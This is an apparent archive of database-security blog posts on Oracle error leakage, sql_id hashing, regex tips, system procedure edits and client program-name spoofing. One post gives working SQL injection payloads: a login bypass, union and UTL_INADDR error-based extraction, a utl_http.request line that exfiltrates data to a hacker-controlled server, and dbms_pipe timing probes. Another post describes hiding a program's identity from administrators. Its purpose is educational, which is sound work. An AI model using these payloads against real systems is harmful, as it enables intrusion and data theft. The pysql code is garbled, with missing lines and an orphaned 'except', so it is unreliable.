Entries tagged with “technical tips”.

I’m flying to UK on the 28th to participate in the UK Oracle user group conference. It’s one of the more technical and interesting conferences out there for Oracle and I love attending.

So, as a speaker, I had to register. While in the process of submitting my details, I got an error from the registration application. Of course the error tells a lot about the registration application technology being used and guess what, it’s not Oracle 🙂

Here is the error – what do you think is the back-end technology?

error '80020009'

Not to mention that I got my password sent to me in an email (it’s not a generated password, I chose it a while ago). I think no explanation is required as to why this is bad. And also, the form submits the details as GET parameters with my password there on the URL line for everyone to see. Did I mention no SSL?

As you can see from my previous posts, I hate it when a site has a revealing error message displayed directly to the customer. This time, I got the following when trying to pay my PGE bill:

Message from the NSAPI plugin:

No backend server available for connection: timed out after 10 seconds or idempotent set to OFF.

Build date/time: Dec 7 2006 04:08:43

Change Number: 871803

Hmmm… What can we learn from this? Let’s hear your opinions.

Sometimes, you want to enhance or change system stored procedures to add functionality like security related code. This is not supported and might blow up in your face so all the standard caveats apply. If it blows in your face, tough luck!

SQL2000 is pretty straight forward and you can find plenty of places on the web that will help you with the details.

Using SQL2005 and SQL2008 the process is a bit more complicated:

1. Stop SQL Server service.

2. On command prompt run the following command to run the server in single user mode – be sure to replace the MSSQLSERVER with the actual instance name
C:\>”C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe” -sMSSQLSERVER -m

3. Connect to SQL server with SSMS as ADMIN:HOSTNAME

4. Run the following to change the database to the system resource database: “USE mssqlsystemresource”

5. Run the following to change the database to read-write – “alter database mssqlsystemresource set read_write”

6. Run the following to load the text of the procedure – exec sp_helptext ‘stored procedure name you want to change’

7. Alter the procedure and add the relevant code – “alter procedure …”

8. Return the system resource database to read-only – “alter database mssqlsystemresource set read_only”

9. Shutdown the instance – “shutdown”

10. Start the instance using the service as usual

And, that is it. A somewhat complex process to change a system stored procedure.

Alex wrote a nice blog post showing that the 0day found by David Litchfield [pdf] is now fixed in the newest Oracle release for Windows. He has some analysis of the fix as well as some good examples of using Repscan to view permissions and audit records using the online browser.

Whenever I need to check some security related (and sometimes non-security related) stuff in the database, I find myself using Repscan online browser more and more because of its ease of use and prepared queries.

Good stuff, Alex.

During the weekend, I stumbled across an interesting project named pysql. The project aims to replace SQL*Plus with a sane shell written in Python with history, tab completion and many extensions. Being a veteran of using SQL*Plus, I know that some of the above can be actually achieved on Linux/Unix environments with SQL*Plus using a handy utility called rlwrap but I was still curios.

The installation is a breeze (as long as you already have Python and cx_Oracle installed correctly). Just unzip into a directory and run pysql.sh. First impression – this is really cool stuff. Out of the box you get coloring, correct terminal handling, help, implemented macros and even visual graphs. The only problem I had was the lack of any documentation (that I could find) about how to use it all. Source code browsing is good and all but I would have preferred an easy how-to document.

Oh, and I stumbled across a bug (that Sébastien Renard told me is already fixed in the next version) that would not allow me to connect “/ as sysdba”. I did a small fix in pysqlshell.py that allowed me to easily fix the issue (just replace these 2 functions):

def __connect(self, connectString, mode=""):
    """Calls the PysqlDb class to connect to Oracle"""
    sid = None
    if count==1:
        (connectString, sid)=connectString.split("@")
    elif count > 1:
        raise PysqlException(_("Invalid connection string"))
    if count==0:
        except (Exception):
            raise PysqlException(_("Invalid connection string"))
    elif count == 1:
        (user, passwd)=connectString.split("/")
        raise PysqlException(_("Invalid connection string"))
    if sid==None:
        connectString = user + "/" + passwd
        connectString = user + "/" + passwd + "@" + sid
    self.db=PysqlDb(connectString, mode)

def __setPrompt(self, blank=False, multiline=False, finishedQuery=False):
    """Sets the prompt according to the connexion state
    @param blank: if true, no prompt is issue (default is False)
    @param finishedQuery: if true mark prompt with a * to notify a query is finished
    @type blank: bool
    @type finishedQuery: bool"""
    #TODO: do not update title for every line
    if blank or not self.showPrompt:
    elif multiline:
        prompt="> "
        if self.db is None:
            # Update the title (without color else it is a huge mess)
            setTitle(_("Pysql - Not connected"), codec)
            sid = self.db.getDSN() if self.db.getDSN() != "None" else os.environ["ORACLE_SID"]
            userName = self.db.getUsername() if self.db.getUsername() != "" else "/"
            prompt=userName+"@"+sid+" "
            if finishedQuery:
                prompt+="* "
            setTitle("Pysql - %s" % prompt, codec)
    self.prompt=prompt.encode(codec, "replace")

This project is definitely on my “keep-an-eye-on” list.
Is anybody else using this?

Tanel published a great post a while ago talking about Oracle’s sql_id and hash values in Oracle 10g+. I wanted to be able to compute sql_id and hash values directly from SQL statements for our Hedgehog product. I did a few tests and could not match the MD5 value generated from the SQL statement to the MD5 value Oracle is calculating in X$KGLOB.KGLNAHSV. After a short discussion with Tanel, it turned out that Oracle is appending a NULL (‘\0’) value to the statement and then calculates the MD5.

Here is a test and some code in Python:

SYS> select 'Slavik' from dual;
SYS> select kglnahsv, kglnahsh from x$kglob where kglnaobj =
'select ''Slavik'' from dual';
KGLNAHSV                KGLNAHSH
--------------------------------- ----------
7a483e90555ab4ad24e190abe3e7775d  3823597405
7a483e90555ab4ad24e190abe3e7775d  3823597405

SYS> select sql_id, hash_value, old_hash_value from v$sql where sql_text =
'select ''Slavik'' from dual';

------------- ---------- --------------
29schpgjyfxux 3823597405     3501236764

So, first, let's check that our MD5 matches:
>>> import hashlib
>>> import math
>>> import struct
>>> stmt = "select 'Slavik' from dual"
>>> d = hashlib.md5(stmt + '\x00').digest()
>>> struct.unpack('IIII', d)[3]
>>> h = ''
>>> for i in struct.unpack('IIII', d):
 h += hex(i)[2:]
>>> h

Good, all seem to match!

Now, let's create some utility functions:
def sqlid_2_hash(sqlid):
  sum = 0
  i = 1
  alphabet = '0123456789abcdfghjkmnpqrstuvwxyz'
  for ch in sqlid:
    sum += alphabet.index(ch) * (32**(len(sqlid) - i))
    i += 1
  return sum % (2 ** 32)

def stmt_2_sqlid(stmt):
  h = hashlib.md5(stmt + '\x00').digest()
  (d1,d2,msb,lsb) = struct.unpack('IIII', h)
  sqln = msb * (2 ** 32) + lsb
  stop = math.log(sqln, math.e) / math.log(32, math.e) + 1
  sqlid = ''
  alphabet = '0123456789abcdfghjkmnpqrstuvwxyz'
  for i in range(0, stop):
    sqlid = alphabet[(sqln / (32 ** i)) % 32] + sqlid
  return sqlid

def stmt_2_hash(stmt):
  return struct.unpack('IIII', hashlib.md5(stmt + '\x00').digest())[3]

Let's try them...
>>> stmt_2_hash(stmt)
>>> stmt_2_sqlid(stmt)
>>> sqlid_2_hash(stmt_2_sqlid(stmt))

Well, it all works. Now, to the real programming…

As part of my continued crusade to get rid of all database errors returned from the application to the user, one of our developers sent me the following error message coming from Salesforce.com:

SF error

SF Error

SF Error

So, what can we learn from the error?

  • SF uses Java as a backend
  • SF uses Oracle as the database
  • The application is programmed using stored program units – in this case package sLead with procedure update_leads
  • Checks are performed at the PL/SQL level and custom exceptions are being thrown – ORA-20096
  • The Java application uses bind variables to call into the PL/SQL layer – good for them!
  • My guess is that the username/schema for this particular SF account is SNEEZY and it contains Oracle types with the names CUSER and SLEAD

All in all, I’d say that SF did a good, secure job in implementing the application (bind variables, etc.) but missed the “never return DB errors to the customer” part.

So, what will it take to educate developers not to display errors? Thoughts?

I’m doing a lot of presentations where I mention SQL injection and even show detailed examples of both injecting applications and injecting stored program units within the database.

What I’d like to do in this post is describe SQL injection types, give concrete examples for a web applications and Oracle and talk a bit about blind SQL injection with Oracle as the back-end database.

Let’s start with a simple example

Assuming an application (web or client/server) has a login page that tries to validate users by matching their username and password with an existing row in a database table called user_details. The table contains columns user_name and password. A naive implementation of the database layer would be something like the following Java code:

Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
"select * from user_details where user_name = '" + username + "'
and password = '" + password + "'");

Given that “username” and “password” are input fields directly passed from user input without any processing, any astute reader can notice the problem in this code.
All the would-be hacker is required to do is pass in “‘ or 1=1 –” and he will be logged in with the first user in the table.
In the next paragraphs, we will explore various techniques a hacker can use to attack such vulnerable code as the above.

SQL Injection types

Roughly speaking, SQL injection has three general classes that are divided into many subclasses. The three classes are In-Band, Out-of-Band and Inference.


This is,by far, the easiest attack class of SQL injection. This attack is valid if the application can be manipulated to return different results than expected directly to the invoker by using techniques such as unions or error manipulation.
Taking the example from above, let’s say that the application displays the first name in the upper right corner of the screen. Now, all we have to do is to make sure that the first name returned is something we control.
Passing username as – “‘ and 1=0 union select banner from v$version where rownum = 1 –” should get us started.
Of course, at first, you will receive errors because the number of columns is not the same between the first and the second part of the statement so passing in additional nulls or ‘1’ values in the second select should solve the problem.
Using a different technique might be even easier, depending on the application implementation. Instead of trying to match the exact format of the vulnerable statement and guessing what columns are displayed, we can use error manipulation to retrieve the requested information. If the application displays error messages from the database layer directly to the screen, all we have to do is to create an error in the statement with hacker controlled text and read the results. Fortunately for the would-be hackers, Oracle has many options to generate hacker-controlled errors. One such example (the most known one) is using UTL_INADDR.
Again, taking the example from above, passing username as – “‘ or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) –” would generate the following statement: “select * from user_details where user_name = ” or 1 = utl_inaddr.get_host_name((select banner from v$version where rownum = 1)) — and password = ”” which will generously give the following error on the screen:
ERROR at line 1:

ORA-29257: host Oracle Database 11g Enterprise Edition Release –

64bit Production unknown

ORA-06512: at “SYS.UTL_INADDR”, line 4

ORA-06512: at “SYS.UTL_INADDR”, line 35

ORA-06512: at line 1

On recent Oracle versions, this only works if the database user has permissions to access the package and is granted the relevant ACLs but there are other options to use instead of UTL_INADDR like CTXSYS.DRITHSX.SN and others.
It should be noted that Oracle, unlike other databases, does not allow multiple statements separated by ‘;’ so many attack techniques from SQL server and other databases are not possible.


If the application developers were more security minded and prevented error codes from being displayed, and the injection point cannot be used with unions as data is not displayed to the user, the hackers can revert to a different class of SQL injection using the Out-of-Band attack. In this attack vector, information is being sent to a hacker controlled server using the network or the file system. Oracle provides several packages and types that can be used to send information out of the database. Examples include HTTPURITYPE, utl_http, utl_tcp, utl_inaddr (DNS smuggling), utl_file, utl_smtp, etc.
Using the example above, the attack would be passing into username the following: “‘ or ‘1’ = utl_http.request(‘http://www.sentrigo.com/’ || (select banner from v$version where rownum = 1)) –” and since the site is controlled by the hacker all the hacker really needs to do is get the requests from his web server logs.

Inference (Blind SQL Injection)

Finally, we are coming to the point of this post.
If both In-Band and Out-of-Band options are not possible, the hacker is left with inference attacks. The most common blind SQL injection attack is using timing to infer information about the database. In other words, the hacker injects a question / guess and if the question is true makes the database delay the response. Unlike SQL Server, where one can inject the “WAITFOR DELAY” command, Oracle does not allow multiple commands and dbms_lock.sleep is not a function in Oracle so you cannot inject it into the statement. In all the examples I’ve seen for Oracle, long operations are traditionally used. Taking the example above, one can pass username: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then (select count(*) from all_objects) else 1 end –” and if the response if slower than usual we now know that the database user we are running with starts with ‘S’.
But, this looks a bit messy as you depend too much on DBMS side effects and also can alert the DBA that something fishy is going on.
Another technique that comes to mind in delaying the database is using commands that receive a timeout such as DBMS_PIPE or DBMS_ALERT. So, the above can be rewritten as following: “‘ or 1 = case when substr(user, 1, 1) = ‘S’ then dbms_pipe.receive_message(‘kuku’, 10) else 1 end –“. Since no message is coming on the “kuku” pipe, this will delay the command for 10 seconds exactly (or almost exactly) and then return to the caller.
I was surprised when I couldn’t find any such example on the web.
Using this technique is only possible if the database user has permissions to execute DBMS_PIPE but I’ve seen many databases where this is granted to public.
Looking at 11g, there are many functions that receive a TIMEOUT parameter so it’s reasonable to assume that one of them would be available.
Using this technique, the hacker can precisely (more or less) determine what branch his injection has taken.

What do you think? Is using timeouts as delays for blind SQL injection a usable technique?

Another guest post by Roy Fox, Sentrigo’s Head of Security Research.

Here is a list of things worth considering when using regular expressions. Some of the tips are Hedgehog related.

Use predefined character sets

You should usually prefer using predefined character sets, such as \d, to explicit ones, such as [0-9]. Some character sets provide locale and Unicode support, for example \w is not equivalent to [a-zA-Z0-9_], since it also matches non-Latin letters and numbers.

In addition, using predefined character sets may improve the performance of your regular expressions.

Avoid unnecessary group capturing

To improve performance, avoid grouping, i.e. using parenthesis, as much as possible. Nevertheless, sometimes you may have to group an expression for some reason, but not capture the group for backreferencing, for example in the expression:


In this case, a significant performance gain can be achieved by using non-capturing grouping:


Avoid multiple and nested repetitions

The matching algorithm uses backtracking: on failure, it goes back to try other matching possibilities for parts of the expression it already matched. Multiple or nested repetitions may create a multitude of equivalent matching possibilities, so that trying all of them is redundantly slow.

For example, the pattern


is essentially equivalent to


However, in the former, a match for password is tried once in any starting position, while in the latter, if password fails, it’s tried again and again. This is because the wildcards match any splitting of the prefix into 2 parts. The situation is even worse with


where every partitioning of the prefix is tried.

Use atomic matching

Often, backtracking is unnecessary. For example, when the expression


is matched against the string

create         user

it’s futile to try to match \s* against any but the longest sequence of whitespaces. You can avoid this backtracking by using the equivalent


This is atomic non-capturing grouping. When a match has been found for the group (\s*, in this case), but subsequently not for the remainder of the expression (table, in this case), this signals the regular expression engine not to backtrack, that is, not to try another match for \s*.

It should be noted that the repetition quantifiers *, +, and ? have a short notation for their atomic versions: *+, ++ and ?+, respectively, so that (?>\s*) is equivalent to \s*+.

While this may greatly improve performance, note that atomic matching may alter the meaning of the expression, and care should be taken not to harm its validity. For example, .*+ should never be used, because it matches the remainder of the string and nothing else.

Case insensitivity

Hedgehog compiles regular expressions with the flag (?i), which mean that upper/lower case is ignored. For example, the expression


will match the string


If case sensitive matching is required, the expression (or sub-expression) can be preceded with (?-i).

Matching newlines

Hedgehog also compiles regular expressions with the flag (?s), which mean that a wildcard (.) can match a newline character. This is intended primarily to allow the match for .* to span multiple lines. When this is not the required behavior, (?-s) can be used to make a wildcard not match newline characters.

Matching newline characters explicitly can be done using \r and/or \n. Note, however, that different databases have different standard newline symbols, and most accept non-standard ones. It is best to avoid this issue by simply matching any sequence of whitespaces.

Plan for matching failure

For every regular expression, there are the set of strings it matches and of those which it fails to match. In the Hedgehog scenario, as in many others, only a tiny fraction of all strings will match, and most will fail. This makes performance much more important for failing strings than for matched ones.

What this means is that you should try to compose regular expressions which fails as soon as possible for as many of these failing strings as possible. Suppose, for example, you have 2 expressions, expr1 and expr2. expr1 does exactly what you want, but is very complex and slow. expr2 is much faster, but matches, in addition to all the strings it should, half of the strings it shouldn’t. It may be best to use the expression


or something equivalent, despite the additional cost of the lookahead. This is because it saves attempting to match the expensive expr1 on half of the failing strings.

I always wondered how Oracle Client knows to send my program name to the server process to be stored in x$ksuse (v$session). I had my assumptions but finally I had a chance to verify them as a fellow developer asked me this question.

I’ve created a simple ocitest C program to connect to Oracle and select the program name from v$session and then started experimenting.

The first test was just overwriting argv[0] with a different value at the beginning of the program. The name was immediately changed in the Oracle session.

The second test was running the program with strace since there are several ways you can get the process name on Linux. It turns out that Oracle client chooses the simplest way:
open(“/proc/self/cmdline”, O_RDONLY)    = 3
read(3, “xxxxxxxxx\0002\0”, 255)        = 12
close(3)                                = 0

So, it looked to me that all I had to do is to intercept (interpose) the open call and replace it with my own version so that if the open tries to read /proc/self/cmdline I will return my own file containing my own chosen program name.
Which I immediately proceeded to test (ocitest2) and of course it worked.

Ha, try this to confuse the administrator – Oracle saying that program X is connected but in the processes list you cannot find program X (of course you can always check the process at the end of the socket).